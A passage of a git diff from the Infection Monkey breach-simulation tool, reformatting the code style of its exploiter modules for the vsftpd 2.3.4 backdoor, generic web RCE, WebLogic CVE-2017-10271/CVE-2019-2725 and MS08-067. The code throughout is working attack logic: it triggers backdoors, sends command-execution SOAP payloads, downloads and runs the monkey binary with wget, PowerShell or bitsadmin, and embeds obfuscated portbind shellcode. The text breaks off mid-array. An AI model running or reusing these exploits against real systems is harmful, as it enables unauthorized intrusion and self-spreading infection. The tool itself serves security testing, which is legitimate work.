f2e35580291..d8e88b44c37 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -10,14 +10,24 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey, +) from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import CHMOD_MONKEY, DOWNLOAD_TIMEOUT, MONKEY_ARG, RUN_MONKEY, WGET_HTTP_UPLOAD +from infection_monkey.model import ( + CHMOD_MONKEY, + DOWNLOAD_TIMEOUT, + MONKEY_ARG, + RUN_MONKEY, + WGET_HTTP_UPLOAD, +) from infection_monkey.telemetry.attack.t1222_telem import T1222Telem LOG = getLogger(__name__) -__author__ = 'D3fa1t' +__author__ = "D3fa1t" FTP_PORT = 21 # port at which vsftpd runs BACKDOOR_PORT = 6200 # backdoor port @@ -25,14 +35,14 @@ UNAME_M = "uname -m" ULIMIT_V = "ulimit -v " # To increase the memory limit UNLIMITED = "unlimited;" -USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor -PASSWORD = b'PASS please' # Ftp Password +USERNAME = b"USER D3fa1t:)" # Ftp Username should end with :) to trigger the backdoor +PASSWORD = b"PASS please" # Ftp Password FTP_TIME_BUFFER = 1 # In seconds class VSFTPDExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux'] - _EXPLOITED_SERVICE = 'VSFTPD' + _TARGET_OS_TYPE = ["linux"] + _EXPLOITED_SERVICE = "VSFTPD" def __init__(self, host): self._update_timestamp = 0 @@ -44,15 +54,15 @@ def socket_connect(self, s, ip_addr, port): s.connect((ip_addr, port)) return True except socket.error as e: - LOG.info('Failed to connect to %s: %s', self.host.ip_addr, str(e)) + LOG.info("Failed to connect to %s: %s", self.host.ip_addr, str(e)) return False def socket_send_recv(self, s, message): try: s.send(message) - return s.recv(RECV_128).decode('utf-8') + return s.recv(RECV_128).decode("utf-8") except socket.error as e: - LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e)) + LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e)) return False def socket_send(self, s, message): @@ -60,7 +70,7 @@ def socket_send(self, s, message): s.send(message) return True except socket.error as e: - LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e)) + LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e)) return False def _exploit_host(self): @@ -68,32 +78,32 @@ def _exploit_host(self): ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): - ftp_socket.recv(RECV_128).decode('utf-8') + ftp_socket.recv(RECV_128).decode("utf-8") - if self.socket_send_recv(ftp_socket, USERNAME + b'\n'): + if self.socket_send_recv(ftp_socket, USERNAME + b"\n"): time.sleep(FTP_TIME_BUFFER) - self.socket_send(ftp_socket, PASSWORD + b'\n') + self.socket_send(ftp_socket, PASSWORD + b"\n") ftp_socket.close() - LOG.info('Backdoor Enabled, Now we can run commands') + LOG.info("Backdoor Enabled, Now we can run commands") else: - LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr) + LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr) return False - LOG.info('Attempting to connect to backdoor...') + LOG.info("Attempting to connect to backdoor...") backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): - LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) + LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr) - uname_m = str.encode(UNAME_M + '\n') + uname_m = str.encode(UNAME_M + "\n") response = self.socket_send_recv(backdoor_socket, uname_m) if response: - LOG.info('Response for uname -m: %s', response) - if '' != response.lower().strip(): + LOG.info("Response for uname -m: %s", response) + if "" != response.lower().strip(): # command execution is successful - self.host.os['machine'] = response.lower().strip() - self.host.os['type'] = 'linux' + self.host.os["machine"] = response.lower().strip() + self.host.os["type"] = "linux" else: LOG.info("Failed to execute command uname -m on victim %r ", self.host) @@ -111,39 +121,47 @@ def _exploit_host(self): # Upload the monkey to the machine monkey_path = dropper_target_path_linux - download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} - download_command = str.encode(str(download_command) + '\n') + download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path} + download_command = str.encode(str(download_command) + "\n") LOG.info("Download command is %s", download_command) if self.socket_send(backdoor_socket, download_command): - LOG.info('Monkey is now Downloaded ') + LOG.info("Monkey is now Downloaded ") else: - LOG.error('Failed to download monkey at %s', self.host.ip_addr) + LOG.error("Failed to download monkey at %s", self.host.ip_addr) return False http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() # Change permissions - change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path} - change_permission = str.encode(str(change_permission) + '\n') + change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path} + change_permission = str.encode(str(change_permission) + "\n") LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send() # Run monkey on the machine - parameters = build_monkey_commandline(self.host, - get_monkey_depth() - 1, - vulnerable_port=FTP_PORT) - run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} + parameters = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT + ) + run_monkey = RUN_MONKEY % { + "monkey_path": monkey_path, + "monkey_type": MONKEY_ARG, + "parameters": parameters, + } # Set unlimited to memory # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit run_monkey = ULIMIT_V + UNLIMITED + run_monkey - run_monkey = str.encode(str(run_monkey) + '\n') + run_monkey = str.encode(str(run_monkey) + "\n") time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, - self.host, run_monkey) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + run_monkey, + ) self.add_executed_cmd(run_monkey.decode()) return True else: diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 069cbcada3d..f51fe1539bb 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,16 +5,31 @@ from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey, +) from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, CHMOD_MONKEY, DOWNLOAD_TIMEOUT, DROPPER_ARG, - GET_ARCH_LINUX, GET_ARCH_WINDOWS, ID_STRING, MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, - RUN_MONKEY, WGET_HTTP_UPLOAD) +from infection_monkey.model import ( + BITSADMIN_CMDLINE_HTTP, + CHECK_COMMAND, + CHMOD_MONKEY, + DOWNLOAD_TIMEOUT, + DROPPER_ARG, + GET_ARCH_LINUX, + GET_ARCH_WINDOWS, + ID_STRING, + MONKEY_ARG, + POWERSHELL_HTTP_UPLOAD, + RUN_MONKEY, + WGET_HTTP_UPLOAD, +) from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem -__author__ = 'VakarisZ' +__author__ = "VakarisZ" LOG = logging.getLogger(__name__) # Command used to check if monkeys already exists @@ -26,7 +41,6 @@ class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths=None): """ :param host: Host that we'll attack @@ -37,9 +51,11 @@ def __init__(self, host, monkey_target_paths=None): if monkey_target_paths: self.monkey_target_paths = monkey_target_paths else: - self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux, - 'win32': self._config.dropper_target_path_win_32, - 'win64': self._config.dropper_target_path_win_64} + self.monkey_target_paths = { + "linux": self._config.dropper_target_path_linux, + "win32": self._config.dropper_target_path_win_32, + "win64": self._config.dropper_target_path_win_64, + } self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist self.vulnerable_urls = [] @@ -55,20 +71,20 @@ def get_exploit_config(self): # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy # it's file to the default destination path. - exploit_config['dropper'] = False + exploit_config["dropper"] = False # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used. - exploit_config['upload_commands'] = None + exploit_config["upload_commands"] = None # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] - exploit_config['url_extensions'] = [] + exploit_config["url_extensions"] = [] # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. - exploit_config['stop_checking_urls'] = False + exploit_config["stop_checking_urls"] = False # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. - exploit_config['blind_exploit'] = False + exploit_config["blind_exploit"] = False return exploit_config @@ -84,8 +100,8 @@ def _exploit_host(self): if not ports: return False # Get urls to try to exploit - potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions']) - self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls']) + potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"]) + self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) if not self.are_vulnerable_urls_sufficient(): return False @@ -94,26 +110,37 @@ def _exploit_host(self): self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) # Skip if monkey already exists and this option is given - if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.target_url): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + if ( + not exploit_config["blind_exploit"] + and self.skip_exist + and self.check_remote_files(self.target_url) + ): + LOG.info( + "Host %s was already infected under the current configuration, done" % self.host + ) return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()): + if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()): return False # Upload the right monkey to target - data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands']) + data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) if data is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(self.get_target_url(), data['path']) is False: + if self.change_permissions(self.get_target_url(), data["path"]) is False: return False # Execute remote monkey - if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False: + if ( + self.execute_remote_monkey( + self.get_target_url(), data["path"], exploit_config["dropper"] + ) + is False + ): return False return True @@ -135,15 +162,23 @@ def get_open_service_ports(self, port_list, names): :return: Returns all open ports from port list that are of service names """ candidate_services = {} - candidate_services.update({ - service: self.host.services[service] for service in self.host.services if - (self.host.services[service] and - 'name' in self.host.services[service] and - self.host.services[service]['name'] in names) - }) - - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - tcp_port_to_service(port) in candidate_services] + candidate_services.update( + { + service: self.host.services[service] + for service in self.host.services + if ( + self.host.services[service] + and "name" in self.host.services[service] + and self.host.services[service]["name"] in names + ) + } + ) + + valid_ports = [ + (port, candidate_services["tcp-" + str(port)]["data"][1]) + for port in port_list + if tcp_port_to_service(port) in candidate_services + ] return valid_ports @@ -156,15 +191,17 @@ def check_if_port_open(self, port): def get_command(self, path, http_path, commands): try: - if 'linux' in self.host.os['type']: - command = commands['linux'] + if "linux" in self.host.os["type"]: + command = commands["linux"] else: - command = commands['windows'] + command = commands["windows"] # Format command - command = command % {'monkey_path': path, 'http_path': http_path} + command = command % {"monkey_path": path, "http_path": http_path} except KeyError: - LOG.error("Provided command is missing/bad for this type of host! " - "Check upload_monkey function docs before using custom monkey's upload commands.") + LOG.error( + "Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload commands." + ) return False return command @@ -196,7 +233,7 @@ def build_potential_urls(self, ports, extensions=None): """ url_list = [] if extensions: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + extensions = [(e[1:] if "/" == e[0] else e) for e in extensions] else: extensions = [""] for port in ports: @@ -205,7 +242,9 @@ def build_potential_urls(self, ports, extensions=None): protocol = "https" else: protocol = "http" - url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)) + url_list.append( + join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + ) if not url_list: LOG.info("No attack url's were built") return url_list @@ -231,11 +270,11 @@ def get_host_arch(self, url): :param url: Url for exploiter to use :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ - if 'linux' in self.host.os['type']: + if "linux" in self.host.os["type"]: resp = self.exploit(url, GET_ARCH_LINUX) if resp: # Pulls architecture string - arch = re.search(r'(?<=Architecture:)\s+(\w+)', resp) + arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp) try: arch = arch.group(1) except AttributeError: @@ -261,10 +300,13 @@ def get_host_arch(self, url): def check_remote_monkey_file(self, url, path): command = LOOK_FOR_FILE % path resp = self.exploit(url, command) - if 'No such file' in resp: + if "No such file" in resp: return False else: - LOG.info("Host %s was already infected under the current configuration, done" % str(self.host)) + LOG.info( + "Host %s was already infected under the current configuration, done" + % str(self.host) + ) return True def check_remote_files(self, url): @@ -273,10 +315,10 @@ def check_remote_files(self, url): :return: True if at least one file is found, False otherwise """ paths = [] - if 'linux' in self.host.os['type']: - paths.append(self.monkey_target_paths['linux']) + if "linux" in self.host.os["type"]: + paths.append(self.monkey_target_paths["linux"]) else: - paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']]) + paths.extend([self.monkey_target_paths["win32"], self.monkey_target_paths["win64"]]) for path in paths: if self.check_remote_monkey_file(url, path): return True @@ -303,7 +345,7 @@ def set_host_arch(self, url): LOG.error("Couldn't get host machine's architecture") return False else: - self.host.os['machine'] = arch + self.host.os["machine"] = arch return True def run_backup_commands(self, resp, url, dest_path, http_path): @@ -317,7 +359,10 @@ def run_backup_commands(self, resp, url, dest_path, http_path): """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + backup_command = BITSADMIN_CMDLINE_HTTP % { + "monkey_path": dest_path, + "http_path": http_path, + } T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) return resp @@ -330,25 +375,25 @@ def upload_monkey(self, url, commands=None): :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") - if not self.host.os['type']: + if not self.host.os["type"]: LOG.error("Unknown target's os type. Skipping.") return False paths = self.get_monkey_paths() if not paths: return False # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) # Choose command: if not commands: - commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} - command = self.get_command(paths['dest_path'], http_path, commands) + commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} + command = self.get_command(paths["dest_path"], http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) - resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) + resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -357,7 +402,7 @@ def upload_monkey(self, url, commands=None): if resp is False: return resp else: - return {'response': resp, 'path': paths['dest_path']} + return {"response": resp, "path": paths["dest_path"]} def change_permissions(self, url, path, command=None): """ @@ -368,11 +413,11 @@ def change_permissions(self, url, path, command=None): :return: response, False if failed and True if permission change is not needed """ LOG.info("Changing monkey's permissions") - if 'windows' in self.host.os['type']: + if "windows" in self.host.os["type"]: LOG.info("Permission change not required for windows") return True if not command: - command = CHMOD_MONKEY % {'monkey_path': path} + command = CHMOD_MONKEY % {"monkey_path": path} try: resp = self.exploit(url, command) T1222Telem(ScanStatus.USED, command, self.host).send() @@ -385,11 +430,13 @@ def change_permissions(self, url, path, command=None): LOG.info("Permission change finished") return resp # If exploiter returns command output, we can check for execution errors - if 'Operation not permitted' in resp: + if "Operation not permitted" in resp: LOG.error("Missing permissions to make monkey executable") return False - elif 'No such file or directory' in resp: - LOG.error("Could not change permission because monkey was not found. Check path parameter.") + elif "No such file or directory" in resp: + LOG.error( + "Could not change permission because monkey was not found. Check path parameter." + ) return False LOG.info("Permission change finished") return resp @@ -409,16 +456,23 @@ def execute_remote_monkey(self, url, path, dropper=False): default_path = self.get_default_dropper_path() if default_path is False: return False - monkey_cmd = build_monkey_commandline(self.host, - get_monkey_depth() - 1, - self.vulnerable_port, - default_path) - command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path + ) + command = RUN_MONKEY % { + "monkey_path": path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_cmd, + } else: - monkey_cmd = build_monkey_commandline(self.host, - get_monkey_depth() - 1, - self.vulnerable_port) - command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, self.vulnerable_port + ) + command = RUN_MONKEY % { + "monkey_path": path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } try: LOG.info("Trying to execute monkey using command: {}".format(command)) resp = self.exploit(url, command) @@ -428,10 +482,10 @@ def execute_remote_monkey(self, url, path, dropper=False): self.add_executed_cmd(command) return resp # If exploiter returns command output, we can check for execution errors - if 'is not recognized' in resp or 'command not found' in resp: + if "is not recognized" in resp or "command not found" in resp: LOG.error("Wrong path chosen or other process already deleted monkey") return False - elif 'The system cannot execute' in resp: + elif "The system cannot execute" in resp: LOG.error("System could not execute monkey") return False except Exception as e: @@ -448,23 +502,29 @@ def get_monkey_upload_path(self, url_to_monkey): :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from self.monkey_target_paths """ - if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): - LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): + LOG.error( + "Can't get destination path because source path %s is invalid.", url_to_monkey + ) return False try: - if 'linux' in url_to_monkey: - return self.monkey_target_paths['linux'] - elif 'windows-32' in url_to_monkey: - return self.monkey_target_paths['win32'] - elif 'windows-64' in url_to_monkey: - return self.monkey_target_paths['win64'] + if "linux" in url_to_monkey: + return self.monkey_target_paths["linux"] + elif "windows-32" in url_to_monkey: + return self.monkey_target_paths["win32"] + elif "windows-64" in url_to_monkey: + return self.monkey_target_paths["win64"] else: - LOG.error("Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen.") + LOG.error( + "Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen." + ) return False except KeyError: - LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " - "custom dict of monkey's destination paths") + LOG.error( + 'Unknown key was found. Please use "linux", "win32" and "win64" keys to initialize ' + "custom dict of monkey's destination paths" + ) return False def get_monkey_paths(self): @@ -480,7 +540,7 @@ def get_monkey_paths(self): dest_path = self.get_monkey_upload_path(src_path) if not dest_path: return False - return {'src_path': src_path, 'dest_path': dest_path} + return {"src_path": src_path, "dest_path": dest_path} def get_default_dropper_path(self): """ @@ -488,14 +548,16 @@ def get_default_dropper_path(self): :return: Default monkey's destination path for corresponding host or False if failed. E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host """ - if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): + if not self.host.os.get("type") or ( + self.host.os["type"] != "linux" and self.host.os["type"] != "windows" + ): LOG.error("Target's OS was either unidentified or not supported. Aborting") return False - if self.host.os['type'] == 'linux': + if self.host.os["type"] == "linux": return self._config.dropper_target_path_linux - if self.host.os['type'] == 'windows': + if self.host.os["type"] == "windows": try: - if self.host.os['machine'] == WIN_ARCH_64: + if self.host.os["machine"] == WIN_ARCH_64: return self._config.dropper_target_path_win_64 except KeyError: LOG.debug("Target's machine type was not set. Using win-32 dropper path.") diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 00b62d3d646..2d1a40c0ae3 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -26,13 +26,13 @@ HEADERS = { "Content-Type": "text/xml;charset=UTF-8", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", } class WebLogicExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Weblogic' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Weblogic" def _exploit_host(self): exploiters = [WebLogic20192725, WebLogic201710271] @@ -49,37 +49,43 @@ def _exploit_host(self): # https://github.com/Luffin/CVE-2017-10271 # CVE: CVE-2017-10271 class WebLogic201710271(WebRCE): - URLS = ["/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11"] + URLS = [ + "/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11", + ] _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): - super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh', - 'win32': 'monkey32.exe', - 'win64': 'monkey64.exe'}) + super(WebLogic201710271, self).__init__( + host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"} + ) def get_exploit_config(self): exploit_config = super(WebLogic201710271, self).get_exploit_config() - exploit_config['blind_exploit'] = True - exploit_config['stop_checking_urls'] = True - exploit_config['url_extensions'] = WebLogic201710271.URLS + exploit_config["blind_exploit"] = True + exploit_config["stop_checking_urls"] = True + exploit_config["url_extensions"] = WebLogic201710271.URLS return exploit_config def exploit(self, url, command): - if 'linux' in self.host.os['type']: - payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') + if "linux" in self.host.os["type"]: + payload = self.get_exploit_payload( + "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" + ) else: - payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') + payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL") try: - post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) # noqa: DUO123 + post( + url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False + ) # noqa: DUO123 except Exception as e: LOG.error("Connection error: %s" % e) return False @@ -106,7 +112,7 @@ def add_vulnerable_urls(self, urls, stop_checking=False): if httpd.get_requests > 0: # Add all urls because we don't know which one is vulnerable self.vulnerable_urls.extend(urls) - self.exploit_info['vulnerable_urls'] = self.vulnerable_urls + self.exploit_info["vulnerable_urls"] = self.vulnerable_urls else: LOG.info("No vulnerable urls found, skipping.") @@ -115,7 +121,9 @@ def add_vulnerable_urls(self, urls, stop_checking=False): def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) # noqa: DUO123 + post( + url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False + ) # noqa: DUO123 except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error pass @@ -152,7 +160,7 @@ def get_exploit_payload(cmd_base, cmd_opt, command): :param command: command itself :return: Formatted payload """ - empty_payload = ''' + empty_payload = """ @@ -175,7 +183,7 @@ def get_exploit_payload(cmd_base, cmd_opt, command): - ''' + """ payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) return payload @@ -187,7 +195,7 @@ def get_test_payload(ip, port): :param port: Server's port :return: Formatted payload """ - generic_check_payload = ''' + generic_check_payload = """ @@ -202,7 +210,7 @@ def get_test_payload(ip, port): - ''' + """ payload = generic_check_payload.format(host=ip, port=port) return payload @@ -226,10 +234,10 @@ def run(self): class S(BaseHTTPRequestHandler): @staticmethod def do_GET(): - LOG.info('Server received a request from vulnerable machine') + LOG.info("Server received a request from vulnerable machine") self.get_requests += 1 - LOG.info('Server waiting for exploited machine request...') + LOG.info("Server waiting for exploited machine request...") httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True self.lock.release() @@ -258,9 +266,9 @@ def __init__(self, host): def get_exploit_config(self): exploit_config = super(WebLogic20192725, self).get_exploit_config() - exploit_config['url_extensions'] = WebLogic20192725.URLS - exploit_config['blind_exploit'] = True - exploit_config['dropper'] = True + exploit_config["url_extensions"] = WebLogic20192725.URLS + exploit_config["blind_exploit"] = True + exploit_config["dropper"] = True return exploit_config def execute_remote_monkey(self, url, path, dropper=False): @@ -269,10 +277,10 @@ def execute_remote_monkey(self, url, path, dropper=False): super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper) def exploit(self, url, command): - if 'linux' in self.host.os['type']: - payload = self.get_exploit_payload('/bin/sh', '-c', command) + if "linux" in self.host.os["type"]: + payload = self.get_exploit_payload("/bin/sh", "-c", command) else: - payload = self.get_exploit_payload('cmd', '/c', command) + payload = self.get_exploit_payload("cmd", "/c", command) try: resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) return resp @@ -281,7 +289,7 @@ def exploit(self, url, command): return False def check_if_exploitable(self, url): - headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''}) + headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""}) res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) if res.status_code == 500 and "env:Client" in res.text: return True @@ -297,7 +305,7 @@ def get_exploit_payload(cmd_base, cmd_opt, command): :param command: command itself :return: Formatted payload """ - empty_payload = ''' + empty_payload = """ @@ -323,6 +331,6 @@ def get_exploit_payload(cmd_base, cmd_opt, command): - ''' + """ payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) return payload diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 4a5e059b94f..16b971cd80a 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -16,7 +16,11 @@ from common.utils.shellcode_obfuscator import clarify from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey, +) from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network.smbfinger import SMBFinger @@ -25,81 +29,85 @@ LOG = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 -OBFUSCATED_SHELLCODE = (b'4\xf6kPF\xc5\x9bI,\xab\x1d' - b'\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J' - b'\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01\'\xa8\x03\x90\x01\xec\x13' - b'\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq' - b'\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8' - b'\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J' - b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-') +OBFUSCATED_SHELLCODE = ( + b"4\xf6kPF\xc5\x9bI,\xab\x1d" + 